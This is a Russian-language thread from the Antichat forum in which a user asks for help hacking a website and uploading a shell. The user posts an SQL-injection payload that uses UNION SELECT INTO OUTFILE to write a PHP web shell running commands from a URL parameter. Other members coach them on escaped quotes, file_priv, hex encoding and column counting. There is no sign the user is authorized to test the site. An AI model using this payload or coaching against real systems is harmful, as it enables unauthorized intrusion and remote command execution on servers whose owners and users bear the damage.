ANTICHAT — форум по информационной безопасности, OSINT и технологиям

а обойти ? Я в hex' е пробовал, не катит ..

Все, вопрос исчерпан.

Помогите плис. Есть сайт: бла...бла...бла/1.php?page=1
Я подставил: бла...бла...бла/1.php?page=1'
Мне выдало:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in …
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in …

Узнал установочную директорию сайта.
Потом я подставил:
-1+union+select+1,2,3,4,5,'<?php system($_GET[cmd]); ?>'+from+mysql.user+into+outfile+' бла...бла...бла/shzw.php '/*

В виде HTML(изменилось такое):

Раньше было:
<form action=1.php?page =-1 method="POST">
на
<form action=1.php?page =-1 union select 1,2,3,4,5,\'<?php system($_GET[cmd]); ?>\' from mysql.user into outfile \'…/shzw.php\'/* method="POST">


Но шелл не создался. И да кстати я не уверен что правильно подобрал количество полей.

Чем помочь то?)

PS Ты уверен что есть file_priv ?

__________________
..

magic quotes 1 или просто экранируются кавычки в запросе. инто аутфайл не сделаешь. если файл прив все таки есть, можешь лоудить кодируя в хекс... (пишет это тут раз в пиццотый, *пошел составлять мануал)))))

__________________

Судя по \'<?php system($_GET[cmd]); ?>\' то как сказал Чёрный БР экранируются кавычки и фай зплить через инто аутфайл нельзя. Подбири правильно кол-во столбцов и может в таблицах найдёшь чё интересного
"*пошел составлять мануал)"
омфг "/

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

Помочь взломать сайт (хотелось бы залить шелл). Я не знаю. А как проверить есть ли file_priv?

А как узнать что я правильно подобрал столбцы??? Тогда ошибок не должно быть??? И есть ли какая-нибудь программа для автоматического подбора???

да ошибки могут и быть. страница с правильным кол-вом столбцов должна отличаться от страниц с другим кол-вом столбцов. В идеале увидешь свои циферке на странице)

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

Спасибо. За помощь буду подбирать. У меня еще такой вопрос: у меня есть исходный код этого скрипта и таблица(но она не полная, возможно нет некоторых столбцов), может ли мне это чем-то помочь в подборе столбцов.